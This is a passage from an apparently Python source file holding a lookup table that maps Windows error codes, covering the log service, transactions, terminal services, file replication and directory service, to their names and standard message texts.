marshaling area with" " an invalid read context." ), }, 0x000019CF: { "code": "ERROR_LOG_RESTART_INVALID", "message": "The log service encountered an invalid log restart area.", }, 0x000019D0: { "code": "ERROR_LOG_BLOCK_VERSION", "message": "The log service encountered an invalid log block version.", }, 0x000019D1: { "code": "ERROR_LOG_BLOCK_INVALID", "message": "The log service encountered an invalid log block.", }, 0x000019D2: { "code": "ERROR_LOG_READ_MODE_INVALID", "message": ( "The log service encountered an attempt to read the log with an invalid" " read mode." ), }, 0x000019D3: { "code": "ERROR_LOG_NO_RESTART", "message": "The log service encountered a log stream with no restart area.", }, 0x000019D4: { "code": "ERROR_LOG_METADATA_CORRUPT", "message": "The log service encountered a corrupted metadata file.", }, 0x000019D5: { "code": "ERROR_LOG_METADATA_INVALID", "message": ( "The log service encountered a metadata file that could not be created by" " the log file system." ), }, 0x000019D6: { "code": "ERROR_LOG_METADATA_INCONSISTENT", "message": ( "The log service encountered a metadata file with inconsistent data." ), }, 0x000019D7: { "code": "ERROR_LOG_RESERVATION_INVALID", "message": ( "The log service encountered an attempt to erroneous allocate or dispose" " reservation space." ), }, 0x000019D8: { "code": "ERROR_LOG_CANT_DELETE", "message": "The log service cannot delete a log file or file system container.", }, 0x000019D9: { "code": "ERROR_LOG_CONTAINER_LIMIT_EXCEEDED", "message": ( "The log service has reached the maximum allowable containers allocated to" " a log file." ), }, 0x000019DA: { "code": "ERROR_LOG_START_OF_LOG", "message": ( "The log service has attempted to read or write backward past the start of" " the log." ), }, 0x000019DB: { "code": "ERROR_LOG_POLICY_ALREADY_INSTALLED", "message": ( "The log policy could not be installed because a policy of the same type is" " already present." ), }, 0x000019DC: { "code": "ERROR_LOG_POLICY_NOT_INSTALLED", "message": ( "The log policy in question was not installed at the time of the request." ), }, 0x000019DD: { "code": "ERROR_LOG_POLICY_INVALID", "message": "The installed set of policies on the log is invalid.", }, 0x000019DE: { "code": "ERROR_LOG_POLICY_CONFLICT", "message": ( "A policy on the log in question prevented the operation from completing." ), }, 0x000019DF: { "code": "ERROR_LOG_PINNED_ARCHIVE_TAIL", "message": ( "Log space cannot be reclaimed because the log is pinned by the archive" " tail." ), }, 0x000019E0: { "code": "ERROR_LOG_RECORD_NONEXISTENT", "message": "The log record is not a record in the log file.", }, 0x000019E1: { "code": "ERROR_LOG_RECORDS_RESERVED_INVALID", "message": ( "The number of reserved log records or the adjustment of the number of" " reserved log records is invalid." ), }, 0x000019E2: { "code": "ERROR_LOG_SPACE_RESERVED_INVALID", "message": ( "The reserved log space or the adjustment of the log space is invalid." ), }, 0x000019E3: { "code": "ERROR_LOG_TAIL_INVALID", "message": ( "A new or existing archive tail or base of the active log is invalid." ), }, 0x000019E4: {"code": "ERROR_LOG_FULL", "message": "The log space is exhausted."}, 0x000019E5: { "code": "ERROR_COULD_NOT_RESIZE_LOG", "message": "The log could not be set to the requested size.", }, 0x000019E6: { "code": "ERROR_LOG_MULTIPLEXED", "message": ( "The log is multiplexed; no direct writes to the physical log are allowed." ), }, 0x000019E7: { "code": "ERROR_LOG_DEDICATED", "message": "The operation failed because the log is a dedicated log.", }, 0x000019E8: { "code": "ERROR_LOG_ARCHIVE_NOT_IN_PROGRESS", "message": "The operation requires an archive context.", }, 0x000019E9: { "code": "ERROR_LOG_ARCHIVE_IN_PROGRESS", "message": "Log archival is in progress.", }, 0x000019EA: { "code": "ERROR_LOG_EPHEMERAL", "message": ( "The operation requires a non-ephemeral log, but the log is ephemeral." ), }, 0x000019EB: { "code": "ERROR_LOG_NOT_ENOUGH_CONTAINERS", "message": ( "The log must have at least two containers before it can be read from or" " written to." ), }, 0x000019EC: { "code": "ERROR_LOG_CLIENT_ALREADY_REGISTERED", "message": "A log client has already registered on the stream.", }, 0x000019ED: { "code": "ERROR_LOG_CLIENT_NOT_REGISTERED", "message": "A log client has not been registered on the stream.", }, 0x000019EE: { "code": "ERROR_LOG_FULL_HANDLER_IN_PROGRESS", "message": "A request has already been made to handle the log full condition.", }, 0x000019EF: { "code": "ERROR_LOG_CONTAINER_READ_FAILED", "message": ( "The log service encountered an error when attempting to read from a log" " container." ), }, 0x000019F0: { "code": "ERROR_LOG_CONTAINER_WRITE_FAILED", "message": ( "The log service encountered an error when attempting to write to a log" " container." ), }, 0x000019F1: { "code": "ERROR_LOG_CONTAINER_OPEN_FAILED", "message": ( "The log service encountered an error when attempting to open a log" " container." ), }, 0x000019F2: { "code": "ERROR_LOG_CONTAINER_STATE_INVALID", "message": ( "The log service encountered an invalid container state when attempting a" " requested action." ), }, 0x000019F3: { "code": "ERROR_LOG_STATE_INVALID", "message": ( "The log service is not in the correct state to perform a requested action." ), }, 0x000019F4: { "code": "ERROR_LOG_PINNED", "message": "The log space cannot be reclaimed because the log is pinned.", }, 0x000019F5: { "code": "ERROR_LOG_METADATA_FLUSH_FAILED", "message": "The log metadata flush failed.", }, 0x000019F6: { "code": "ERROR_LOG_INCONSISTENT_SECURITY", "message": "Security on the log and its containers is inconsistent.", }, 0x000019F7: { "code": "ERROR_LOG_APPENDED_FLUSH_FAILED", "message": ( "Records were appended to the log or reservation changes were made, but the" " log could not be flushed." ), }, 0x000019F8: { "code": "ERROR_LOG_PINNED_RESERVATION", "message": ( "The log is pinned due to reservation consuming most of the log space. Free" " some reserved records to make space available." ), }, 0x00001A2C: { "code": "ERROR_INVALID_TRANSACTION", "message": ( "The transaction handle associated with this operation is not valid." ), }, 0x00001A2D: { "code": "ERROR_TRANSACTION_NOT_ACTIVE", "message": ( "The requested operation was made in the context of a transaction that is" " no longer active." ), }, 0x00001A2E: { "code": "ERROR_TRANSACTION_REQUEST_NOT_VALID", "message": ( "The requested operation is not valid on the transaction object in its" " current state." ), }, 0x00001A2F: { "code": "ERROR_TRANSACTION_NOT_REQUESTED", "message": ( "The caller has called a response API, but the response is not expected" " because the transaction manager did not issue the corresponding request" " to the caller." ), }, 0x00001A30: { "code": "ERROR_TRANSACTION_ALREADY_ABORTED", "message": ( "It is too late to perform the requested operation because the transaction" " has already been aborted." ), }, 0x00001A31: { "code": "ERROR_TRANSACTION_ALREADY_COMMITTED", "message": ( "It is too late to perform the requested operation because the transaction" " has already been committed." ), }, 0x00001A32: { "code": "ERROR_TM_INITIALIZATION_FAILED", "message": ( "The transaction manager was unable to be successfully initialized." " Transacted operations are not supported." ), }, 0x00001A33: { "code": "ERROR_RESOURCEMANAGER_READ_ONLY", "message": ( "The specified resource manager made no changes or updates to the resource" " under this transaction." ), }, 0x00001A34: { "code": "ERROR_TRANSACTION_NOT_JOINED", "message": ( "The resource manager has attempted to prepare a transaction that it has" " not successfully joined." ), }, 0x00001A35: { "code": "ERROR_TRANSACTION_SUPERIOR_EXISTS", "message": ( "The transaction object already has a superior enlistment, and the caller" " attempted an operation that would have created a new superior. Only a" " single superior enlistment is allowed." ), }, 0x00001A36: { "code": "ERROR_CRM_PROTOCOL_ALREADY_EXISTS", "message": ( "The resource manager tried to register a protocol that already exists." ), }, 0x00001A37: { "code": "ERROR_TRANSACTION_PROPAGATION_FAILED", "message": "The attempt to propagate the transaction failed.", }, 0x00001A38: { "code": "ERROR_CRM_PROTOCOL_NOT_FOUND", "message": "The requested propagation protocol was not registered as a CRM.", }, 0x00001A39: { "code": "ERROR_TRANSACTION_INVALID_MARSHALL_BUFFER", "message": ( "The buffer passed in to PushTransaction or PullTransaction is not in a" " valid format." ), }, 0x00001A3A: { "code": "ERROR_CURRENT_TRANSACTION_NOT_VALID", "message": ( "The current transaction context associated with the thread is not a valid" " handle to a transaction object." ), }, 0x00001A3B: { "code": "ERROR_TRANSACTION_NOT_FOUND", "message": ( "The specified transaction object could not be opened because it was not" " found." ), }, 0x00001A3C: { "code": "ERROR_RESOURCEMANAGER_NOT_FOUND", "message": ( "The specified resource manager object could not be opened because it was" " not found." ), }, 0x00001A3D: { "code": "ERROR_ENLISTMENT_NOT_FOUND", "message": ( "The specified enlistment object could not be opened because it was not" " found." ), }, 0x00001A3E: { "code": "ERROR_TRANSACTIONMANAGER_NOT_FOUND", "message": ( "The specified transaction manager object could not be opened because it" " was not found." ), }, 0x00001A3F: { "code": "ERROR_TRANSACTIONMANAGER_NOT_ONLINE", "message": ( "The specified resource manager was unable to create an enlistment because" " its associated transaction manager is not online." ), }, 0x00001A40: { "code": "ERROR_TRANSACTIONMANAGER_RECOVERY_NAME_COLLISION", "message": ( "The specified transaction manager was unable to create the objects" " contained in its log file in the ObjectB namespace. Therefore, the" " transaction manager was unable to recover." ), }, 0x00001A90: { "code": "ERROR_TRANSACTIONAL_CONFLICT", "message": ( "The function attempted to use a name that is reserved for use by another" " transaction." ), }, 0x00001A91: { "code": "ERROR_RM_NOT_ACTIVE", "message": ( "Transaction support within the specified file system resource manager is" " not started or was shut down due to an error." ), }, 0x00001A92: { "code": "ERROR_RM_METADATA_CORRUPT", "message": ( "The metadata of the resource manager has been corrupted. The resource" " manager will not function." ), }, 0x00001A93: { "code": "ERROR_DIRECTORY_NOT_RM", "message": "The specified directory does not contain a resource manager.", }, 0x00001A95: { "code": "ERROR_TRANSACTIONS_UNSUPPORTED_REMOTE", "message": ( "The remote server or share does not support transacted file operations." ), }, 0x00001A96: { "code": "ERROR_LOG_RESIZE_INVALID_SIZE", "message": "The requested log size is invalid.", }, 0x00001A97: { "code": "ERROR_OBJECT_NO_LONGER_EXISTS", "message": ( "The object (file, stream, link) corresponding to the handle has been" " deleted by a transaction savepoint rollback." ), }, 0x00001A98: { "code": "ERROR_STREAM_MINIVERSION_NOT_FOUND", "message": ( "The specified file miniversion was not found for this transacted file" " open." ), }, 0x00001A99: { "code": "ERROR_STREAM_MINIVERSION_NOT_VALID", "message": ( "The specified file miniversion was found but has been invalidated. The" " most likely cause is a transaction savepoint rollback." ), }, 0x00001A9A: { "code": "ERROR_MINIVERSION_INACCESSIBLE_FROM_SPECIFIED_TRANSACTION", "message": ( "A miniversion can only be opened in the context of the transaction that" " created it." ), }, 0x00001A9B: { "code": "ERROR_CANT_OPEN_MINIVERSION_WITH_MODIFY_INTENT", "message": "It is not possible to open a miniversion with modify access.", }, 0x00001A9C: { "code": "ERROR_CANT_CREATE_MORE_STREAM_MINIVERSIONS", "message": ( "It is not possible to create any more miniversions for this stream." ), }, 0x00001A9E: { "code": "ERROR_REMOTE_FILE_VERSION_MISMATCH", "message": ( "The remote server sent mismatching version numbers or FID for a file" " opened with transactions." ), }, 0x00001A9F: { "code": "ERROR_HANDLE_NO_LONGER_VALID", "message": ( "The handle has been invalidated by a transaction. The most likely cause is" " the presence of memory mapping on a file, or an open handle when the" " transaction ended or rolled back to savepoint." ), }, 0x00001AA0: { "code": "ERROR_NO_TXF_METADATA", "message": "There is no transaction metadata on the file.", }, 0x00001AA1: { "code": "ERROR_LOG_CORRUPTION_DETECTED", "message": "The log data is corrupt.", }, 0x00001AA2: { "code": "ERROR_CANT_RECOVER_WITH_HANDLE_OPEN", "message": "The file cannot be recovered because a handle is still open on it.", }, 0x00001AA3: { "code": "ERROR_RM_DISCONNECTED", "message": ( "The transaction outcome is unavailable because the resource manager" " responsible for it is disconnected." ), }, 0x00001AA4: { "code": "ERROR_ENLISTMENT_NOT_SUPERIOR", "message": ( "The request was rejected because the enlistment in question is not a" " superior enlistment." ), }, 0x00001AA5: { "code": "ERROR_RECOVERY_NOT_NEEDED", "message": ( "The transactional resource manager is already consistent. Recovery is not" " needed." ), }, 0x00001AA6: { "code": "ERROR_RM_ALREADY_STARTED", "message": "The transactional resource manager has already been started.", }, 0x00001AA7: { "code": "ERROR_FILE_IDENTITY_NOT_PERSISTENT", "message": ( "The file cannot be opened in a transaction because its identity depends on" " the outcome of an unresolved transaction." ), }, 0x00001AA8: { "code": "ERROR_CANT_BREAK_TRANSACTIONAL_DEPENDENCY", "message": ( "The operation cannot be performed because another transaction is depending" " on the fact that this property will not change." ), }, 0x00001AA9: { "code": "ERROR_CANT_CROSS_RM_BOUNDARY", "message": ( "The operation would involve a single file with two transactional resource" " managers and is therefore not allowed." ), }, 0x00001AAA: { "code": "ERROR_TXF_DIR_NOT_EMPTY", "message": "The $Txf directory must be empty for this operation to succeed.", }, 0x00001AAB: { "code": "ERROR_INDOUBT_TRANSACTIONS_EXIST", "message": ( "The operation would leave a transactional resource manager in an" " inconsistent state and is, therefore, not allowed." ), }, 0x00001AAC: { "code": "ERROR_TM_VOLATILE", "message": ( "The operation could not be completed because the transaction manager does" " not have a log." ), }, 0x00001AAD: { "code": "ERROR_ROLLBACK_TIMER_EXPIRED", "message": ( "A rollback could not be scheduled because a previously scheduled rollback" " has already been executed or is queued for execution." ), }, 0x00001AAE: { "code": "ERROR_TXF_ATTRIBUTE_CORRUPT", "message": ( "The transactional metadata attribute on the file or directory is corrupt" " and unreadable." ), }, 0x00001AAF: { "code": "ERROR_EFS_NOT_ALLOWED_IN_TRANSACTION", "message": ( "The encryption operation could not be completed because a transaction is" " active." ), }, 0x00001AB0: { "code": "ERROR_TRANSACTIONAL_OPEN_NOT_ALLOWED", "message": "This object is not allowed to be opened in a transaction.", }, 0x00001AB1: { "code": "ERROR_LOG_GROWTH_FAILED", "message": ( "An attempt to create space in the transactional resource manager's log" " failed. The failure status has been recorded in the event log." ), }, 0x00001AB2: { "code": "ERROR_TRANSACTED_MAPPING_UNSUPPORTED_REMOTE", "message": ( "Memory mapping (creating a mapped section) to a remote file under a" " transaction is not supported." ), }, 0x00001AB3: { "code": "ERROR_TXF_METADATA_ALREADY_PRESENT", "message": ( "Transaction metadata is already present on this file and cannot be" " superseded." ), }, 0x00001AB4: { "code": "ERROR_TRANSACTION_SCOPE_CALLBACKS_NOT_SET", "message": ( "A transaction scope could not be entered because the scope handler has not" " been initialized." ), }, 0x00001AB5: { "code": "ERROR_TRANSACTION_REQUIRED_PROMOTION", "message": ( "Promotion was required to allow the resource manager to enlist, but the" " transaction was set to disallow it." ), }, 0x00001AB6: { "code": "ERROR_CANNOT_EXECUTE_FILE_IN_TRANSACTION", "message": ( "This file is open for modification in an unresolved transaction and can be" " opened for execution only by a transacted reader." ), }, 0x00001AB7: { "code": "ERROR_TRANSACTIONS_NOT_FROZEN", "message": ( "The request to thaw frozen transactions was ignored because transactions" " were not previously frozen." ), }, 0x00001AB8: { "code": "ERROR_TRANSACTION_FREEZE_IN_PROGRESS", "message": ( "Transactions cannot be frozen because a freeze is already in progress." ), }, 0x00001AB9: { "code": "ERROR_NOT_SNAPSHOT_VOLUME", "message": ( "The target volume is not a snapshot volume. This operation is only valid" " on a volume mounted as a snapshot." ), }, 0x00001ABA: { "code": "ERROR_NO_SAVEPOINT_WITH_OPEN_FILES", "message": ( "The savepoint operation failed because files are open on the transaction." " This is not permitted." ), }, 0x00001ABB: { "code": "ERROR_DATA_LOST_REPAIR", "message": ( "Windows has discovered corruption in a file, and that file has since been" " repaired. Data loss might have occurred." ), }, 0x00001ABC: { "code": "ERROR_SPARSE_NOT_ALLOWED_IN_TRANSACTION", "message": ( "The sparse operation could not be completed because a transaction is" " active on the file." ), }, 0x00001ABD: { "code": "ERROR_TM_IDENTITY_MISMATCH", "message": ( "The call to create a transaction manager object failed because the Tm" " Identity stored in the logfile does not match the Tm Identity that was" " passed in as an argument." ), }, 0x00001ABE: { "code": "ERROR_FLOATED_SECTION", "message": ( "I/O was attempted on a section object that has been floated as a result of" " a transaction ending. There is no valid data." ), }, 0x00001ABF: { "code": "ERROR_CANNOT_ACCEPT_TRANSACTED_WORK", "message": ( "The transactional resource manager cannot currently accept transacted work" " due to a transient condition, such as low resources." ), }, 0x00001AC0: { "code": "ERROR_CANNOT_ABORT_TRANSACTIONS", "message": ( "The transactional resource manager had too many transactions outstanding" " that could not be aborted. The transactional resource manager has been" " shut down." ), }, 0x00001B59: { "code": "ERROR_CTX_WINSTATION_NAME_INVALID", "message": "The specified session name is invalid.", }, 0x00001B5A: { "code": "ERROR_CTX_INVALID_PD", "message": "The specified protocol driver is invalid.", }, 0x00001B5B: { "code": "ERROR_CTX_PD_NOT_FOUND", "message": "The specified protocol driver was not found in the system path.", }, 0x00001B5C: { "code": "ERROR_CTX_WD_NOT_FOUND", "message": ( "The specified terminal connection driver was not found in the system path." ), }, 0x00001B5D: { "code": "ERROR_CTX_CANNOT_MAKE_EVENTLOG_ENTRY", "message": ( "A registry key for event logging could not be created for this session." ), }, 0x00001B5E: { "code": "ERROR_CTX_SERVICE_NAME_COLLISION", "message": "A service with the same name already exists on the system.", }, 0x00001B5F: { "code": "ERROR_CTX_CLOSE_PENDING", "message": "A close operation is pending on the session.", }, 0x00001B60: { "code": "ERROR_CTX_NO_OUTBUF", "message": "There are no free output buffers available.", }, 0x00001B61: { "code": "ERROR_CTX_MODEM_INF_NOT_FOUND", "message": "The MODEM.INF file was not found.", }, 0x00001B62: { "code": "ERROR_CTX_INVALID_MODEMNAME", "message": "The modem name was not found in the MODEM.INF file.", }, 0x00001B63: { "code": "ERROR_CTX_MODEM_RESPONSE_ERROR", "message": ( "The modem did not accept the command sent to it. Verify that the" " configured modem name matches the attached modem." ), }, 0x00001B64: { "code": "ERROR_CTX_MODEM_RESPONSE_TIMEOUT", "message": ( "The modem did not respond to the command sent to it. Verify that the modem" " is properly cabled and turned on." ), }, 0x00001B65: { "code": "ERROR_CTX_MODEM_RESPONSE_NO_CARRIER", "message": ( "Carrier detect has failed or carrier has been dropped due to disconnect." ), }, 0x00001B66: { "code": "ERROR_CTX_MODEM_RESPONSE_NO_DIALTONE", "message": ( "Dial tone not detected within the required time. Verify that the phone" " cable is properly attached and functional." ), }, 0x00001B67: { "code": "ERROR_CTX_MODEM_RESPONSE_BUSY", "message": "Busy signal detected at remote site on callback.", }, 0x00001B68: { "code": "ERROR_CTX_MODEM_RESPONSE_VOICE", "message": "Voice detected at remote site on callback.", }, 0x00001B69: {"code": "ERROR_CTX_TD_ERROR", "message": "Transport driver error."}, 0x00001B6E: { "code": "ERROR_CTX_WINSTATION_NOT_FOUND", "message": "The specified session cannot be found.", }, 0x00001B6F: { "code": "ERROR_CTX_WINSTATION_ALREADY_EXISTS", "message": "The specified session name is already in use.", }, 0x00001B70: { "code": "ERROR_CTX_WINSTATION_BUSY", "message": ( "The requested operation cannot be completed because the terminal" " connection is currently busy processing a connect, disconnect, reset, or" " delete operation." ), }, 0x00001B71: { "code": "ERROR_CTX_BAD_VIDEO_MODE", "message": ( "An attempt has been made to connect to a session whose video mode is not" " supported by the current client." ), }, 0x00001B7B: { "code": "ERROR_CTX_GRAPHICS_INVALID", "message": ( "The application attempted to enable DOS graphics mode. DOS graphics mode" " is not supported." ), }, 0x00001B7D: { "code": "ERROR_CTX_LOGON_DISABLED", "message": ( "Your interactive logon privilege has been disabled. Contact your" " administrator." ), }, 0x00001B7E: { "code": "ERROR_CTX_NOT_CONSOLE", "message": ( "The requested operation can be performed only on the system console. This" " is most often the result of a driver or system DLL requiring direct" " console access." ), }, 0x00001B80: { "code": "ERROR_CTX_CLIENT_QUERY_TIMEOUT", "message": "The client failed to respond to the server connect message.", }, 0x00001B81: { "code": "ERROR_CTX_CONSOLE_DISCONNECT", "message": "Disconnecting the console session is not supported.", }, 0x00001B82: { "code": "ERROR_CTX_CONSOLE_CONNECT", "message": ( "Reconnecting a disconnected session to the console is not supported." ), }, 0x00001B84: { "code": "ERROR_CTX_SHADOW_DENIED", "message": "The request to control another session remotely was denied.", }, 0x00001B85: { "code": "ERROR_CTX_WINSTATION_ACCESS_DENIED", "message": "The requested session access is denied.", }, 0x00001B89: { "code": "ERROR_CTX_INVALID_WD", "message": "The specified terminal connection driver is invalid.", }, 0x00001B8A: { "code": "ERROR_CTX_SHADOW_INVALID", "message": ( "The requested session cannot be controlled remotely. This might be because" " the session is disconnected or does not currently have a user logged on." ), }, 0x00001B8B: { "code": "ERROR_CTX_SHADOW_DISABLED", "message": "The requested session is not configured to allow remote control.", }, 0x00001B8C: { "code": "ERROR_CTX_CLIENT_LICENSE_IN_USE", "message": ( "Your request to connect to this terminal server has been rejected. Your" " terminal server client license number is currently being used by another" " user. Call your system administrator to obtain a unique license number." ), }, 0x00001B8D: { "code": "ERROR_CTX_CLIENT_LICENSE_NOT_SET", "message": ( "Your request to connect to this terminal server has been rejected. Your" " terminal server client license number has not been entered for this copy" " of the terminal server client. Contact your system administrator." ), }, 0x00001B8E: { "code": "ERROR_CTX_LICENSE_NOT_AVAILABLE", "message": ( "The number of connections to this computer is limited and all connections" " are in use right now. Try connecting later or contact your system" " administrator." ), }, 0x00001B8F: { "code": "ERROR_CTX_LICENSE_CLIENT_INVALID", "message": ( "The client you are using is not licensed to use this system. Your logon" " request is denied." ), }, 0x00001B90: { "code": "ERROR_CTX_LICENSE_EXPIRED", "message": "The system license has expired. Your logon request is denied.", }, 0x00001B91: { "code": "ERROR_CTX_SHADOW_NOT_RUNNING", "message": ( "Remote control could not be terminated because the specified session is" " not currently being remotely controlled." ), }, 0x00001B92: { "code": "ERROR_CTX_SHADOW_ENDED_BY_MODE_CHANGE", "message": ( "The remote control of the console was terminated because the display mode" " was changed. Changing the display mode in a remote control session is not" " supported." ), }, 0x00001B93: { "code": "ERROR_ACTIVATION_COUNT_EXCEEDED", "message": ( "Activation has already been reset the maximum number of times for this" " installation. Your activation timer will not be cleared." ), }, 0x00001B94: { "code": "ERROR_CTX_WINSTATIONS_DISABLED", "message": "Remote logons are currently disabled.", }, 0x00001B95: { "code": "ERROR_CTX_ENCRYPTION_LEVEL_REQUIRED", "message": ( "You do not have the proper encryption level to access this session." ), }, 0x00001B96: { "code": "ERROR_CTX_SESSION_IN_USE", "message": ( "The user %s\\%s is currently logged on to this computer. Only the current" " user or an administrator can log on to this computer." ), }, 0x00001B97: { "code": "ERROR_CTX_NO_FORCE_LOGOFF", "message": ( "The user %s\\%s is already logged on to the console of this computer. You" " do not have permission to log in at this time. To resolve this issue," " contact %s\\%s and have them log off." ), }, 0x00001B98: { "code": "ERROR_CTX_ACCOUNT_RESTRICTION", "message": "Unable to log you on because of an account restriction.", }, 0x00001B99: { "code": "ERROR_RDP_PROTOCOL_ERROR", "message": ( "The RDP component %2 detected an error in the protocol stream and has" " disconnected the client." ), }, 0x00001B9A: { "code": "ERROR_CTX_CDM_CONNECT", "message": ( "The Client Drive Mapping Service has connected on terminal connection." ), }, 0x00001B9B: { "code": "ERROR_CTX_CDM_DISCONNECT", "message": ( "The Client Drive Mapping Service has disconnected on terminal connection." ), }, 0x00001B9C: { "code": "ERROR_CTX_SECURITY_LAYER_ERROR", "message": ( "The terminal server security layer detected an error in the protocol" " stream and has disconnected the client." ), }, 0x00001B9D: { "code": "ERROR_TS_INCOMPATIBLE_SESSIONS", "message": "The target session is incompatible with the current session.", }, 0x00001F41: { "code": "FRS_ERR_INVALID_API_SEQUENCE", "message": "The file replication service API was called incorrectly.", }, 0x00001F42: { "code": "FRS_ERR_STARTING_SERVICE", "message": "The file replication service cannot be started.", }, 0x00001F43: { "code": "FRS_ERR_STOPPING_SERVICE", "message": "The file replication service cannot be stopped.", }, 0x00001F44: { "code": "FRS_ERR_INTERNAL_API", "message": ( "The file replication service API terminated the request. The event log" " might contain more information." ), }, 0x00001F45: { "code": "FRS_ERR_INTERNAL", "message": ( "The file replication service terminated the request. The event log might" " contain more information." ), }, 0x00001F46: { "code": "FRS_ERR_SERVICE_COMM", "message": ( "The file replication service cannot be contacted. The event log might" " contain more information." ), }, 0x00001F47: { "code": "FRS_ERR_INSUFFICIENT_PRIV", "message": ( "The file replication service cannot satisfy the request because the user" " has insufficient privileges. The event log might contain more" " information." ), }, 0x00001F48: { "code": "FRS_ERR_AUTHENTICATION", "message": ( "The file replication service cannot satisfy the request because" " authenticated RPC is not available. The event log might contain more" " information." ), }, 0x00001F49: { "code": "FRS_ERR_PARENT_INSUFFICIENT_PRIV", "message": ( "The file replication service cannot satisfy the request because the user" " has insufficient privileges on the domain controller. The event log might" " contain more information." ), }, 0x00001F4A: { "code": "FRS_ERR_PARENT_AUTHENTICATION", "message": ( "The file replication service cannot satisfy the request because" " authenticated RPC is not available on the domain controller. The event" " log might contain more information." ), }, 0x00001F4B: { "code": "FRS_ERR_CHILD_TO_PARENT_COMM", "message": ( "The file replication service cannot communicate with the file replication" " service on the domain controller. The event log might contain more" " information." ), }, 0x00001F4C: { "code": "FRS_ERR_PARENT_TO_CHILD_COMM", "message": ( "The file replication service on the domain controller cannot communicate" " with the file replication service on this computer. The event log might" " contain more information." ), }, 0x00001F4D: { "code": "FRS_ERR_SYSVOL_POPULATE", "message": ( "The file replication service cannot populate the system volume because of" " an internal error. The event log might contain more information." ), }, 0x00001F4E: { "code": "FRS_ERR_SYSVOL_POPULATE_TIMEOUT", "message": ( "The file replication service cannot populate the system volume because of" " an internal time-out. The event log might contain more information." ), }, 0x00001F4F: { "code": "FRS_ERR_SYSVOL_IS_BUSY", "message": ( "The file replication service cannot process the request. The system volume" " is busy with a previous request." ), }, 0x00001F50: { "code": "FRS_ERR_SYSVOL_DEMOTE", "message": ( "The file replication service cannot stop replicating the system volume" " because of an internal error. The event log might contain more" " information." ), }, 0x00001F51: { "code": "FRS_ERR_INVALID_SERVICE_PARAMETER", "message": "The file replication service detected an invalid parameter.", }, 0x00002008: { "code": "ERROR_DS_NOT_INSTALLED", "message": ( "An error occurred while installing the directory service. For more" " information, see the event log." ), }, 0x00002009: { "code": "ERROR_DS_MEMBERSHIP_EVALUATED_LOCALLY", "message": "The directory service evaluated group memberships locally.", }, 0x0000200A: { "code": "ERROR_DS_NO_ATTRIBUTE_OR_VALUE", "message": "The specified directory service attribute or value does not exist.", }, 0x0000200B: { "code": "ERROR_DS_INVALID_ATTRIBUTE_SYNTAX", "message": ( "The attribute syntax specified to the directory service is invalid." ), }, 0x0000200C: { "code": "ERROR_DS_ATTRIBUTE_TYPE_UNDEFINED", "message": ( "The attribute type specified to the directory service is not defined." ), }, 0x0000200D: { "code": "ERROR_DS_ATTRIBUTE_OR_VALUE_EXISTS", "message": "The specified directory service attribute or value already exists.", }, 0x0000200E: {"code": "ERROR_DS_BUSY", "message": "The directory service is busy."}, 0x0000200F: { "code": "ERROR_DS_UNAVAILABLE", "message": "The directory service is unavailable.", }, 0x00002010: { "code": "ERROR_DS_NO_RIDS_ALLOCATED", "message": ( "The directory service was unable to allocate a relative identifier." ), }, 0x00002011: { "code": "ERROR_DS_NO_MORE_RIDS", "message": ( "The directory service has exhausted the pool of relative identifiers." ), }, 0x00002012: { "code": "ERROR_DS_INCORRECT_ROLE_OWNER", "message": ( "The requested operation could not be performed because the directory" " service is not the master for that type of operation." ), }, 0x00002013: { "code": "ERROR_DS_RIDMGR_INIT_ERROR", "message": ( "The directory service was unable to initialize the subsystem that" " allocates relative identifiers." ), }, 0x00002014: { "code": "ERROR_DS_OBJ_CLASS_VIOLATION", "message": ( "The requested operation did not satisfy one or more constraints associated" " with the class of the object." ), }, 0x00002015: { "code": "ERROR_DS_CANT_ON_NON_LEAF", "message": ( "The directory service can perform the requested operation only on a leaf" " object." ), }, 0x00002016: { "code": "ERROR_DS_CANT_ON_RDN", "message": ( "The directory service cannot perform the requested operation on the" " relative distinguished name (RDN) attribute of an object." ), }, 0x00002017: { "code": "ERROR_DS_CANT_MOD_OBJ_CLASS", "message": ( "The directory service detected an attempt to modify the object class of an" " object." ), }, 0x00002018: { "code": "ERROR_DS_CROSS_DOM_MOVE_ERROR", "message": "The requested cross-domain move operation could not be performed.", }, 0x00002019: { "code": "ERROR_DS_GC_NOT_AVAILABLE", "message": "Unable to contact the global catalog (GC) server.", }, 0x0000201A: { "code": "ERROR_SHARED_POLICY", "message": "The policy object is shared and can only be modified at the root.", }, 0x0000201B: { "code": "ERROR_POLICY_OBJECT_NOT_FOUND", "message": "The policy object does not exist.", }, 0x0000201C: { "code": "ERROR_POLICY_ONLY_IN_DS", "message": "The requested policy information is only in the directory service.", }, 0x0000201D: { "code": "ERROR_PROMOTION_ACTIVE", "message": "A domain controller promotion is currently active.", }, 0x0000201E: { "code": "ERROR_NO_PROMOTION_ACTIVE", "message": "A domain controller promotion is not currently active.", }, 0x00002020: { "code": "ERROR_DS_OPERATIONS_ERROR", "message": "An operations error occurred.", }, 0x00002021: { "code": "ERROR_DS_PROTOCOL_ERROR", "message": "A protocol error occurred.", }, 0x00002022: { "code": "ERROR_DS_TIMELIMIT_EXCEEDED", "message": "The time limit for this request was exceeded.", }, 0x00002023: { "code": "ERROR_DS_SIZELIMIT_EXCEEDED", "message": "The size limit for this request was exceeded.", }, 0x00002024: { "code": "ERROR_DS_ADMIN_LIMIT_EXCEEDED", "message": "The administrative limit for this request was exceeded.", }, 0x00002025: { "code": "ERROR_DS_COMPARE_FALSE", "message": "The compare response was false.", }, 0x00002026: { "code": "ERROR_DS_COMPARE_TRUE", "message": "The compare response was true.", }, 0x00002027: { "code": "ERROR_DS_AUTH_METHOD_NOT_SUPPORTED", "message": ( "The requested authentication method is not supported by the server." ), }, 0x00002028: { "code": "ERROR_DS_STRONG_AUTH_REQUIRED", "message": "A more secure authentication method is required for this server.", }, 0x00002029: { "code": "ERROR_DS_INAPPROPRIATE_AUTH", "message": "Inappropriate authentication.", }, 0x0000202A: { "code": "ERROR_DS_AUTH_UNKNOWN", "message": "The authentication mechanism is unknown.", }, 0x0000202B: { "code": "ERROR_DS_REFERRAL", "message": "A referral was returned from the server.", }, 0x0000202C: { "code": "ERROR_DS_UNAVAILABLE_CRIT_EXTENSION", "message": "The server does not support the requested critical extension.", }, 0x0000202D: { "code": "ERROR_DS_CONFIDENTIALITY_REQUIRED", "message": "This request requires a secure connection.", }, 0x0000202E: { "code": "ERROR_DS_INAPPROPRIATE_MATCHING", "message": "Inappropriate matching.", }, 0x0000202F: { "code": "ERROR_DS_CONSTRAINT_VIOLATION", "message": "A constraint violation occurred.", }, 